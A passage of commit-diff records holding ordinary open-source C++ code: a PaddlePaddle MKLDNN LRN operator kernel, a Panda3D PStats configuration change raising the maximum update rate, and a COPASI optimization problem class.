ctx.template device_context<MKLDNNDeviceContext>();\n    const auto& mkldnn_engine = dev_ctx.GetEngine();\n\n    auto x_grad_data = x_grad->mutable_data<T>(ctx.GetPlace());\n    auto out_grad_data = out_grad->data<T>();\n\n    auto dims = paddle::framework::vectorize2int(x->dims());\n\n    auto src_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto diff_src_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto diff_dst_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto diff_dst_memory =\n        mkldnn::memory{{diff_dst_md, mkldnn_engine},\n                       static_cast<void*>(const_cast<float*>(out_grad_data))};\n\n    auto diff_src_memory = mkldnn::memory{{diff_src_md, mkldnn_engine},\n                                          static_cast<void*>(x_grad_data)};\n\n    auto backward_desc = mkldnn::lrn_backward::desc{\n        mkldnn::lrn_across_channels, src_md, diff_src_md, n, alpha, beta, k};\n\n    auto forward_pd = dev_ctx.GetBlob(key_pd);\n\n    auto backward_pd = mkldnn::lrn_backward::primitive_desc{\n        backward_desc, mkldnn_engine,\n        *static_cast<mkldnn::lrn_forward::primitive_desc*>(forward_pd.get())};\n\n    std::shared_ptr<void> workspace_memory =\n        dev_ctx.GetBlob(key_workspace_memory);\n\n    auto src_memory = dev_ctx.GetBlob(key_src_memory);\n    auto backward_op = mkldnn::lrn_backward{\n        backward_pd, *static_cast<mkldnn::memory*>(src_memory.get()),\n        diff_dst_memory, *static_cast<mkldnn::memory*>(workspace_memory.get()),\n        diff_src_memory};\n\n    std::vector<mkldnn::primitive> pipeline = {backward_op};\n    mkldnn::stream(mkldnn::stream::kind::eager).submit(pipeline).wait();\n  }\n};\n}  \/\/ namespace operators\n}  \/\/ namespace paddle\n\nnamespace ops = paddle::operators;\n\nREGISTER_OP_KERNEL(lrn, MKLDNN, paddle::platform::CPUPlace,\n                   ops::LRNMKLDNNOpKernel<float>);\nREGISTER_OP_KERNEL(lrn_grad, MKLDNN, paddle::platform::CPUPlace,\n                   ops::LRNMKLDNNGradOpKernel<float>);\n<commit_msg>Avoid comma in macro<commit_after>\/* Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserve.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#include \"paddle\/fluid\/framework\/tensor.h\"\n#include \"paddle\/fluid\/operators\/lrn_op.h\"\n#include \"paddle\/fluid\/platform\/mkldnn_helper.h\"\n\nnamespace paddle {\nnamespace operators {\n\nusing paddle::framework::Tensor;\nusing paddle::platform::MKLDNNDeviceContext;\n\nnamespace {\ntemplate <typename T, typename... Args>\nstd::shared_ptr<T> insert_to_context(const std::string& key,\n                                     const MKLDNNDeviceContext& dev_ctx,\n                                     Args&&... args) {\n  auto p = std::static_pointer_cast<T, void>(dev_ctx.GetBlob(key));\n\n  if (!p) {\n    p = std::make_shared<T>(args...);\n    dev_ctx.SetBlob(key, std::static_pointer_cast<void, T>(p));\n  }\n\n  return p;\n}\n\ntemplate <typename... Args>\nvoid run_primitive(Args&&... args) {\n  auto forward_op = mkldnn::lrn_forward{args...};\n\n  std::vector<mkldnn::primitive> pipeline = {forward_op};\n  mkldnn::stream(mkldnn::stream::kind::eager).submit(pipeline).wait();\n}\n}  \/\/ namespace\n\ntemplate <typename T>\nclass LRNMKLDNNOpKernel : public paddle::framework::OpKernel<T> {\n public:\n  void Compute(const paddle::framework::ExecutionContext& ctx) const override {\n    const bool is_float_type = std::is_same<T, float>::value;\n    PADDLE_ENFORCE(is_float_type, \"MKLDNN LRN must use float data.\");\n    PADDLE_ENFORCE(paddle::platform::is_cpu_place(ctx.GetPlace()),\n                   \"MKLDNN LRN must use CPUPlace.\");\n\n    auto& dev_ctx = ctx.template device_context<MKLDNNDeviceContext>();\n    const auto& mkldnn_engine = dev_ctx.GetEngine();\n\n    auto x = ctx.Input<Tensor>(\"X\");\n    auto out = ctx.Output<Tensor>(\"Out\");\n    auto mid = ctx.Output<Tensor>(\"MidOut\");\n\n    auto input_data = x->data<T>();\n    auto output_data = out->mutable_data<T>(ctx.GetPlace());\n    mid->mutable_data<T>(ctx.GetPlace());\n\n    const int n = ctx.Attr<int>(\"n\");\n    const float alpha = ctx.Attr<float>(\"alpha\");\n    const float beta = ctx.Attr<float>(\"beta\");\n    const float k = ctx.Attr<float>(\"k\");\n    const bool is_test = ctx.Attr<bool>(\"is_test\");\n\n    auto e_mid = framework::EigenTensor<T, 4>::From(*mid);\n    e_mid = e_mid.constant(k);\n\n    auto dims = paddle::framework::vectorize2int(x->dims());\n\n    auto src_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto dst_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto forward_desc = mkldnn::lrn_forward::desc{mkldnn::prop_kind::forward,\n                                                  mkldnn::lrn_across_channels,\n                                                  src_md,\n                                                  n,\n                                                  alpha,\n                                                  beta,\n                                                  k};\n\n    auto src_memory_pd = mkldnn::memory::primitive_desc{src_md, mkldnn_engine};\n    auto dst_memory = mkldnn::memory{{dst_md, mkldnn_engine},\n                                     static_cast<void*>(output_data)};\n\n    if (!is_test) {\n      const std::string key = ctx.op().Output(\"Out\");\n      const std::string key_src_memory = key + \"@lrn_src_memory\";\n      const std::string key_pd = key + \"@lrn_pd\";\n      const std::string key_workspace_memory = key + \"@lrn_workspace_memory\";\n\n      auto forward_pd = insert_to_context<mkldnn::lrn_forward::primitive_desc>(\n          key_pd, dev_ctx, forward_desc, mkldnn_engine);\n\n      auto src_memory = insert_to_context<mkldnn::memory>(\n          key_src_memory, dev_ctx, src_memory_pd);\n\n      src_memory->set_data_handle(\n          static_cast<void*>(const_cast<T*>(input_data)));\n\n      auto workspace_memory = insert_to_context<mkldnn::memory>(\n          key_workspace_memory, dev_ctx,\n          forward_pd->workspace_primitive_desc());\n\n      run_primitive(*forward_pd, *src_memory, *workspace_memory, dst_memory);\n    } else {\n      auto forward_pd =\n          mkldnn::lrn_forward::primitive_desc{forward_desc, mkldnn_engine};\n      auto src_memory = mkldnn::memory{\n          src_memory_pd, static_cast<void*>(const_cast<T*>(input_data))};\n      auto workspace_memory =\n          mkldnn::memory{forward_pd.workspace_primitive_desc()};\n\n      run_primitive(forward_pd, src_memory, workspace_memory, dst_memory);\n    }\n  }\n};\n\ntemplate <typename T>\nclass LRNMKLDNNGradOpKernel : public paddle::framework::OpKernel<T> {\n public:\n  void Compute(const paddle::framework::ExecutionContext& ctx) const override {\n    const bool is_float_type = std::is_same<T, float>::value;\n    PADDLE_ENFORCE(is_float_type, \"MKLDNN LRN must use float data.\");\n    PADDLE_ENFORCE(paddle::platform::is_cpu_place(ctx.GetPlace()),\n                   \"MKLDNN LRN must use CPUPlace.\");\n    PADDLE_ENFORCE(\n        !ctx.Attr<bool>(\"is_test\"),\n        \"is_test attribute should be set to False in training phase.\");\n\n    auto x = ctx.Input<Tensor>(\"X\");\n\n    auto out_grad = ctx.Input<Tensor>(framework::GradVarName(\"Out\"));\n    auto x_grad = ctx.Output<Tensor>(framework::GradVarName(\"X\"));\n\n    const std::string key = ctx.op().Input(\"Out\");\n    const std::string key_src_memory = key + \"@lrn_src_memory\";\n    const std::string key_pd = key + \"@lrn_pd\";\n    const std::string key_workspace_memory = key + \"@lrn_workspace_memory\";\n\n    const int n = ctx.Attr<int>(\"n\");\n    const float alpha = ctx.Attr<float>(\"alpha\");\n    const float beta = ctx.Attr<float>(\"beta\");\n    const float k = ctx.Attr<float>(\"k\");\n\n    auto& dev_ctx = ctx.template device_context<MKLDNNDeviceContext>();\n    const auto& mkldnn_engine = dev_ctx.GetEngine();\n\n    auto x_grad_data = x_grad->mutable_data<T>(ctx.GetPlace());\n    auto out_grad_data = out_grad->data<T>();\n\n    auto dims = paddle::framework::vectorize2int(x->dims());\n\n    auto src_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto diff_src_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto diff_dst_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto diff_dst_memory =\n        mkldnn::memory{{diff_dst_md, mkldnn_engine},\n                       static_cast<void*>(const_cast<float*>(out_grad_data))};\n\n    auto diff_src_memory = mkldnn::memory{{diff_src_md, mkldnn_engine},\n                                          static_cast<void*>(x_grad_data)};\n\n    auto backward_desc = mkldnn::lrn_backward::desc{\n        mkldnn::lrn_across_channels, src_md, diff_src_md, n, alpha, beta, k};\n\n    auto forward_pd = dev_ctx.GetBlob(key_pd);\n\n    auto backward_pd = mkldnn::lrn_backward::primitive_desc{\n        backward_desc, mkldnn_engine,\n        *static_cast<mkldnn::lrn_forward::primitive_desc*>(forward_pd.get())};\n\n    std::shared_ptr<void> workspace_memory =\n        dev_ctx.GetBlob(key_workspace_memory);\n\n    auto src_memory = dev_ctx.GetBlob(key_src_memory);\n    auto backward_op = mkldnn::lrn_backward{\n        backward_pd, *static_cast<mkldnn::memory*>(src_memory.get()),\n        diff_dst_memory, *static_cast<mkldnn::memory*>(workspace_memory.get()),\n        diff_src_memory};\n\n    std::vector<mkldnn::primitive> pipeline = {backward_op};\n    mkldnn::stream(mkldnn::stream::kind::eager).submit(pipeline).wait();\n  }\n};\n}  \/\/ namespace operators\n}  \/\/ namespace paddle\n\nnamespace ops = paddle::operators;\n\nREGISTER_OP_KERNEL(lrn, MKLDNN, paddle::platform::CPUPlace,\n                   ops::LRNMKLDNNOpKernel<float>);\nREGISTER_OP_KERNEL(lrn_grad, MKLDNN, paddle::platform::CPUPlace,\n                   ops::LRNMKLDNNGradOpKernel<float>);\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Filename: config_pstats.cxx\n\/\/ Created by:  drose (09Jul00)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) 2001 - 2004, Disney Enterprises, Inc.  All rights reserved\n\/\/\n\/\/ All use of this software is subject to the terms of the Panda 3d\n\/\/ Software license.  You should have received a copy of this license\n\/\/ along with this source code; you will also find a current copy of\n\/\/ the license at http:\/\/etc.cmu.edu\/panda3d\/docs\/license\/ .\n\/\/\n\/\/ To contact the maintainers of this program write to\n\/\/ panda3d-general@lists.sourceforge.net .\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"config_pstats.h\"\n\n#include \"dconfig.h\"\n\nConfigureDef(config_pstats);\nNotifyCategoryDef(pstats, \"\");\n\nConfigureFn(config_pstats) {\n  init_libpstatclient();\n}\n\nConfigVariableString pstats_name\n(\"pstats-name\", \"Panda Stats\");\n\nConfigVariableDouble pstats_max_rate\n(\"pstats-max-rate\", 30.0);\n\nConfigVariableBool pstats_threaded_write\n(\"pstats-threaded-write\", false);\n\nConfigVariableDouble pstats_tcp_ratio\n(\"pstats-tcp-ratio\", 0.01,\n PRC_DESC(\"This specifies the ratio of frame update messages that are eligible \"\n          \"for UDP that are sent via TCP instead.  It does not count messages \"\n          \"that are too large for UDP and must be sent via TCP anyway.  1.0 \"\n          \"means all messages are sent TCP; 0.0 means all are sent UDP.\"));\n\nConfigVariableString pstats_host\n(\"pstats-host\", \"localhost\");\n\n\/\/ The default port for PStats used to be 5180, but that's used by AIM.\nConfigVariableInt pstats_port\n(\"pstats-port\", 5185);\n\nConfigVariableDouble pstats_target_frame_rate\n(\"pstats-target-frame-rate\", 30.0);\n\n\/\/ The rest are different in that they directly control the server,\n\/\/ not the client.\nConfigVariableBool pstats_scroll_mode\n(\"pstats-scroll-mode\", true);\nConfigVariableDouble pstats_history\n(\"pstats-history\", 60.0);\nConfigVariableDouble pstats_average_time\n(\"pstats-average-time\", 3.0);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: init_libpstatclient\n\/\/  Description: Initializes the library.  This must be called at\n\/\/               least once before any of the functions or classes in\n\/\/               this library can be used.  Normally it will be\n\/\/               called by the static initializers and need not be\n\/\/               called explicitly, but special cases exist.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid\ninit_libpstatclient() {\n  static bool initialized = false;\n  if (initialized) {\n    return;\n  }\n  initialized = true;\n}\n\n<commit_msg>use more net bandwidth<commit_after>\/\/ Filename: config_pstats.cxx\n\/\/ Created by:  drose (09Jul00)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) 2001 - 2004, Disney Enterprises, Inc.  All rights reserved\n\/\/\n\/\/ All use of this software is subject to the terms of the Panda 3d\n\/\/ Software license.  You should have received a copy of this license\n\/\/ along with this source code; you will also find a current copy of\n\/\/ the license at http:\/\/etc.cmu.edu\/panda3d\/docs\/license\/ .\n\/\/\n\/\/ To contact the maintainers of this program write to\n\/\/ panda3d-general@lists.sourceforge.net .\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"config_pstats.h\"\n\n#include \"dconfig.h\"\n\nConfigureDef(config_pstats);\nNotifyCategoryDef(pstats, \"\");\n\nConfigureFn(config_pstats) {\n  init_libpstatclient();\n}\n\nConfigVariableString pstats_name\n(\"pstats-name\", \"Panda Stats\");\n\nConfigVariableDouble pstats_max_rate\n(\"pstats-max-rate\", 1000.0);\n\nConfigVariableBool pstats_threaded_write\n(\"pstats-threaded-write\", false);\n\nConfigVariableDouble pstats_tcp_ratio\n(\"pstats-tcp-ratio\", 0.01,\n PRC_DESC(\"This specifies the ratio of frame update messages that are eligible \"\n          \"for UDP that are sent via TCP instead.  It does not count messages \"\n          \"that are too large for UDP and must be sent via TCP anyway.  1.0 \"\n          \"means all messages are sent TCP; 0.0 means all are sent UDP.\"));\n\nConfigVariableString pstats_host\n(\"pstats-host\", \"localhost\");\n\n\/\/ The default port for PStats used to be 5180, but that's used by AIM.\nConfigVariableInt pstats_port\n(\"pstats-port\", 5185);\n\nConfigVariableDouble pstats_target_frame_rate\n(\"pstats-target-frame-rate\", 30.0);\n\n\/\/ The rest are different in that they directly control the server,\n\/\/ not the client.\nConfigVariableBool pstats_scroll_mode\n(\"pstats-scroll-mode\", true);\nConfigVariableDouble pstats_history\n(\"pstats-history\", 60.0);\nConfigVariableDouble pstats_average_time\n(\"pstats-average-time\", 3.0);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/     Function: init_libpstatclient\n\/\/  Description: Initializes the library.  This must be called at\n\/\/               least once before any of the functions or classes in\n\/\/               this library can be used.  Normally it will be\n\/\/               called by the static initializers and need not be\n\/\/               called explicitly, but special cases exist.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid\ninit_libpstatclient() {\n  static bool initialized = false;\n  if (initialized) {\n    return;\n  }\n  initialized = true;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* Begin CVS Header\n   $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/optimization\/COptProblem.cpp,v $\n   $Revision: 1.60 $\n   $Name:  $\n   $Author: ssahle $ \n   $Date: 2005\/08\/03 22:39:07 $\n   End CVS Header *\/\n\n\/**\n *  File name: COptProblem.cpp\n *\n *  Programmer: Yongqun He\n *  Contact email: yohe@vt.edu\n *  Purpose: This is the source file of the COptProblem class.\n *           It specifies the optimization problem with its own members and\n *           functions. It's used by COptAlgorithm class and COptimization class\n *\/\n#include <float.h>\n\n#include \"copasi.h\"\n#include \"COptTask.h\"\n#include \"COptProblem.h\"\n#include \"COptItem.h\"\n\n#include \"function\/CFunctionDB.h\"\n\n#include \"CopasiDataModel\/CCopasiDataModel.h\"\n\n#include \"steadystate\/CSteadyStateTask.h\"\n#include \"trajectory\/CTrajectoryTask.h\"\n#include \"steadystate\/CSteadyStateProblem.h\"\n#include \"trajectory\/CTrajectoryProblem.h\"\n\n#include \"model\/CModel.h\"\n#include \"model\/CCompartment.h\"\n\n#include \"report\/CCopasiObjectReference.h\"\n#include \"report\/CKeyFactory.h\"\n\n#include \"utilities\/CProcessReport.h\"\n\n\/\/  Default constructor\nCOptProblem::COptProblem(const CCopasiContainer * pParent):\n    CCopasiProblem(CCopasiTask::optimization, pParent),\n    mpSteadyState(NULL),\n    mpTrajectory(NULL),\n    mpFunction(NULL),\n    mOptItemList()\n{\n  addGroup(\"OptimizationItemList\");\n  addGroup(\"OptimizationConstraintList\");\n\n  addParameter(\"Steady-State\", CCopasiParameter::KEY, (std::string) \"\");\n  addParameter(\"Time-Course\", CCopasiParameter::KEY, (std::string) \"\");\n  addParameter(\"ObjectiveFunction\", CCopasiParameter::KEY, (std::string) \"\");\n  addParameter(\"Maximize\", CCopasiParameter::BOOL, (bool) false);\n\n  initObjects();\n}\n\n\/\/ copy constructor\nCOptProblem::COptProblem(const COptProblem& src,\n                         const CCopasiContainer * pParent):\n    CCopasiProblem(src, pParent),\n    mpSteadyState(src.mpSteadyState),\n    mpTrajectory(src.mpTrajectory),\n    mpFunction(NULL),\n    mOptItemList()\n{\n  if (src.mpFunction)\n    {\n      createObjectiveFunction();\n      mpFunction->setInfix(src.mpFunction->getInfix());\n      setValue(\"ObjectiveFunction\", mpFunction->getKey());\n    }\n\n  initObjects();\n}\n\n\/\/ Destructor\nCOptProblem::~COptProblem()\n{\n  std::vector<COptItem *>::iterator it = mOptItemList.begin();\n  std::vector<COptItem *>::iterator end = mOptItemList.end();\n\n  for (; it != end; ++it)\n    pdelete(*it);\n\n  if (mpFunction && CCopasiDataModel::Global && CCopasiDataModel::Global->getFunctionList())\n    CCopasiDataModel::Global->getFunctionList()->loadedFunctions().remove(mpFunction->getObjectName());\n\n  pdelete(mpFunction);\n}\n\nbool COptProblem::setModel(CModel * pModel)\n{\n  mpModel = pModel;\n  return true;\n}\n\nbool COptProblem::setCallBack(CProcessReport * pCallBack)\n{\n  CCopasiProblem::setCallBack(pCallBack);\n\n  if (pCallBack)\n    {\n      mhSolutionValue =\n        mpCallBack->addItem(\"Best Value\",\n                            CCopasiParameter::DOUBLE,\n                            & mSolutionValue);\n      mhCounter =\n        mpCallBack->addItem(\"Simulation Counter\",\n                            CCopasiParameter::UINT,\n                            & mCounter);\n    }\n\n  return true;\n}\n\nvoid COptProblem::initObjects()\n{\n  addObjectReference(\"Simulation Counter\", mCounter, CCopasiObject::ValueInt);\n  addObjectReference(\"Best Value\", mSolutionValue, CCopasiObject::ValueDbl);\n  addVectorReference(\"Best Parameters\", mSolutionVariables, CCopasiObject::ValueDbl);\n}\n\n#ifdef WIN32 \n\/\/ warning C4056: overflow in floating-point constant arithmetic\n\/\/ warning C4756: overflow in constant arithmetic\n# pragma warning (disable: 4056 4756)\n#endif\n\nbool COptProblem::initialize()\n{\n  if (!mpModel) return false;\n  mpModel->compileIfNecessary();\n\n  mpReport = NULL;\n  mCounter = 0;\n  mSolutionValue = DBL_MAX * 2;\n\n  std::vector< CCopasiContainer * > ContainerList;\n  ContainerList.push_back(mpModel);\n\n  COptTask * pTask = dynamic_cast<COptTask *>(getObjectParent());\n  if (pTask)\n    {\n      ContainerList.push_back(pTask);\n      mpReport = &pTask->getReport();\n      if (!mpReport->getStream()) mpReport = NULL;\n    }\n\n  mpSteadyState =\n    dynamic_cast<CSteadyStateTask *>(GlobalKeys.get(* getValue(\"Steady-State\").pKEY));\n  mpTrajectory =\n    dynamic_cast<CTrajectoryTask *>(GlobalKeys.get(* getValue(\"Time-Course\").pKEY));\n\n  if (!mpSteadyState && !mpTrajectory) return false;\n\n  if (mpSteadyState)\n    {\n      mpSteadyState->initialize();\n      ContainerList.push_back(mpSteadyState);\n    }\n  if (mpTrajectory)\n    {\n      mpTrajectory->initialize();\n      ContainerList.push_back(mpTrajectory);\n    }\n\n  buildOptItemListFromParameterGroup();\n\n  unsigned C_INT32 i;\n  unsigned C_INT32 Size = mOptItemList.size();\n\n  mUpdateMethods.resize(Size);\n  mSolutionVariables.resize(Size);\n  mOriginalVariables.resize(Size);\n\n  std::vector< COptItem * >::iterator it = mOptItemList.begin();\n  std::vector< COptItem * >::iterator end = mOptItemList.end();\n\n  for (i = 0; it != end; ++it, i++)\n    {\n      if (!(*it)->compile(ContainerList)) return false;\n      mUpdateMethods[i] = (*it)->getUpdateMethod();\n      mOriginalVariables[i] = *(*it)->getObjectValue();\n    }\n\n  createObjectiveFunction();\n  if (!mpFunction) return false;\n\n  return mpFunction->compile(ContainerList);\n}\n\nbool COptProblem::restore()\n{\n  unsigned C_INT32 i, imax = mOptItemList.size();\n\n  \/\/ set the original paramter values\n  for (i = 0; i < imax; i++)\n    (*mUpdateMethods[i])(mOriginalVariables[i]);\n\n  return true;\n}\n\n#ifdef WIN32\n# pragma warning (default: 4056 4756)\n#endif\n\nbool COptProblem::checkParametricConstraints()\n{\n  std::vector< COptItem * >::const_iterator it = mOptItemList.begin();\n  std::vector< COptItem * >::const_iterator end = mOptItemList.end();\n\n  for (; it != end; ++it)\n    if ((*it)->checkConstraint()) return false;\n\n  return true;\n}\n\nbool COptProblem::checkFunctionalConstraints()\n{\n  return true; \/\/ :TODO:\n}\n\n\/**\n * calculate() decides whether the problem is a steady state problem or a\n * trajectory problem based on whether the pointer to that type of problem\n * is null or not.  It then calls the process() method for that type of \n * problem.  Currently process takes ofstream& as a parameter but it will\n * change so that process() takes no parameters.\n *\/\nbool COptProblem::calculate()\n{\n  mCounter += 1;\n\n  try\n    {\n      if (mpSteadyState != NULL)\n        {\n          \/\/((CSteadyStateProblem *) mpSteadyState->getProblem())->\n          \/\/setInitialState(mpSteadyState->getProblem()->getModel()->getInitialState());\n          mpSteadyState->process();\n        }\n\n      if (mpTrajectory != NULL)\n        {\n          \/\/((CTrajectoryProblem *) mpTrajectory->getProblem())->\n          \/\/setInitialState(mpTrajectory->getProblem()->getModel()->getInitialState());\n          mpTrajectory->process(CCopasiTask::NO_OUTPUT);\n        }\n\n      mCalculateValue = mpFunction->calcValue();\n    }\n\n  catch (...)\n    {\n      mCalculateValue = DBL_MAX;\n    }\n\n  if (mpCallBack) return mpCallBack->progress(mhCounter);\n\n  return true;\n}\n\nconst C_FLOAT64 & COptProblem::getCalculateValue() const\n{return mCalculateValue;}\n\nvoid COptProblem::setSolutionVariables(const CVector< C_FLOAT64 > & variables)\n{mSolutionVariables = variables;}\n\nconst CVector< C_FLOAT64 > & COptProblem::getSolutionVariables() const\n  {return mSolutionVariables;}\n\nbool COptProblem::setSolutionValue(const C_FLOAT64 & value)\n{\n  mSolutionValue = value;\n  if (mpCallBack) return mpCallBack->progress(mhSolutionValue);\n\n  return true;\n}\n\nconst C_FLOAT64 & COptProblem::getSolutionValue() const\n{return mSolutionValue;}\n\n\/\/ set the type of problem : Steady State OR Trajectory\nvoid COptProblem::setProblemType(ProblemType type)\n{\n  \/\/ :TODO:\n  if (type == SteadyState)\n    mpSteadyState = new CSteadyStateTask(\/*this*\/NULL);\n  if (type == Trajectory)\n    mpTrajectory = new CTrajectoryTask(\/*this*\/NULL);\n}\n\nCOptItem & COptProblem::getOptItem(const unsigned C_INT32 & index)\n{\n  if (mOptItemList.size() != getOptItemSize())\n    buildOptItemListFromParameterGroup();\n\n  assert(index < mOptItemList.size());\n\n  return *mOptItemList[index];\n}\n\nconst unsigned C_INT32 COptProblem::getOptItemSize() const\n{return getValue(\"OptimizationItemList\").pGROUP->size();}\n\nCOptItem & COptProblem::addOptItem(const CCopasiObjectName & objectCN)\n{\n  if (mOptItemList.size() != getOptItemSize())\n    buildOptItemListFromParameterGroup();\n\n  unsigned C_INT32 index = getOptItemSize();\n\n  CCopasiParameterGroup * pOptimizationItemList = (CCopasiParameterGroup *) getParameter(\"OptimizationItemList\");\n\n  pOptimizationItemList->addGroup(\"OptimizationItem\");\n\n  CCopasiParameterGroup * pOptItem =\n    (CCopasiParameterGroup *) pOptimizationItemList->getParameter(index);\n\n  assert(pOptItem != NULL);\n\n  COptItem * pTmp = new COptItem(*pOptItem);\n\n  \/\/pTmp->setLowerBound(\n\n  if (!pTmp->initialize(objectCN)) fatalError();\n\n  mOptItemList.push_back(pTmp);\n\n  return *pTmp;\n}\n\nbool COptProblem::removeOptItem(const unsigned C_INT32 & index)\n{\n  if (mOptItemList.size() != getOptItemSize())\n    buildOptItemListFromParameterGroup();\n\n  if (!(index < mOptItemList.size())) return false;\n\n  pdelete(mOptItemList[index]);\n  mOptItemList.erase(mOptItemList.begin() + index);\n\n  return ((CCopasiParameterGroup *) getParameter(\"OptimizationItemList\"))->removeParameter(index);\n}\n\nbool COptProblem::swapOptItem(const unsigned C_INT32 & iFrom,\n                              const unsigned C_INT32 & iTo)\n{\n  if (mOptItemList.size() != getOptItemSize())\n    buildOptItemListFromParameterGroup();\n\n  if (!(iFrom < mOptItemList.size()) ||\n      !(iTo < mOptItemList.size()))\n    return false;\n\n  COptItem * pTmp = mOptItemList[iFrom];\n  mOptItemList[iFrom] = mOptItemList[iTo];\n  mOptItemList[iTo] = pTmp;\n\n  return ((CCopasiParameterGroup *) getParameter(\"OptimizationItemList\"))->swap(iFrom, iTo);\n}\n\nconst std::vector< COptItem * > & COptProblem::getOptItemList() const\n  {\n    if (mOptItemList.size() != getOptItemSize())\n      const_cast<COptProblem *>(this)->buildOptItemListFromParameterGroup();\n\n    return mOptItemList;\n  }\n\nconst std::vector< UpdateMethod * > & COptProblem::getCalculateVariableUpdateMethods() const\n{return mUpdateMethods;}\n\nbool COptProblem::setObjectiveFunction(const std::string & infix)\n{\n  if (!mpFunction) createObjectiveFunction();\n\n  return mpFunction->setInfix(infix);\n}\n\nconst std::string COptProblem::getObjectiveFunction()\n{\n  if (!mpFunction) createObjectiveFunction();\n\n  return mpFunction->getInfix();\n}\n\nbool COptProblem::createObjectiveFunction()\n{\n  mpFunction =\n    dynamic_cast<CExpression *>(GlobalKeys.get(* getValue(\"ObjectiveFunction\").pKEY));\n\n  CCopasiVectorN<CEvaluationTree> & FunctionList =\n    CCopasiDataModel::Global->getFunctionList()->loadedFunctions();\n\n  if (!mpFunction)\n    {\n      std::ostringstream Name;\n      Name << \"Objective Function\";\n\n      int i = 0;\n\n      while (FunctionList.getIndex(Name.str()) != C_INVALID_INDEX)\n        {\n          i++;\n          Name.str(\"\");\n          Name << \"Objective Function \" << i;\n        }\n\n      mpFunction = new CExpression(Name.str(), this);\n      FunctionList.add(mpFunction, false);\n\n      setValue(\"ObjectiveFunction\", mpFunction->getKey());\n    }\n  else\n    {\n      mpFunction->setObjectParent(this);\n\n      if (FunctionList.getIndex(mpFunction->getObjectName()) == C_INVALID_INDEX)\n        FunctionList.add(mpFunction, false);\n    }\n\n  return true;\n}\n\nbool COptProblem::buildOptItemListFromParameterGroup()\n{\n  bool success = true;\n\n  std::vector< COptItem * >::iterator it = mOptItemList.begin();\n  std::vector< COptItem * >::iterator end = mOptItemList.end();\n\n  for (; it != end; ++it)\n    pdelete(*it);\n\n  unsigned i, imax = getOptItemSize();\n  mOptItemList.resize(imax);\n\n  std::vector<CCopasiParameter *> & List = *getValue(\"OptimizationItemList\").pGROUP;\n\n  for (i = 0; i < imax; i++)\n    {\n      mOptItemList[i] = new COptItem(* (CCopasiParameterGroup *) List[i]);\n      if (!mOptItemList[i]->isValid()) success = false;\n    }\n\n  return true;\n}\n<commit_msg>Fixed destructor's handling of 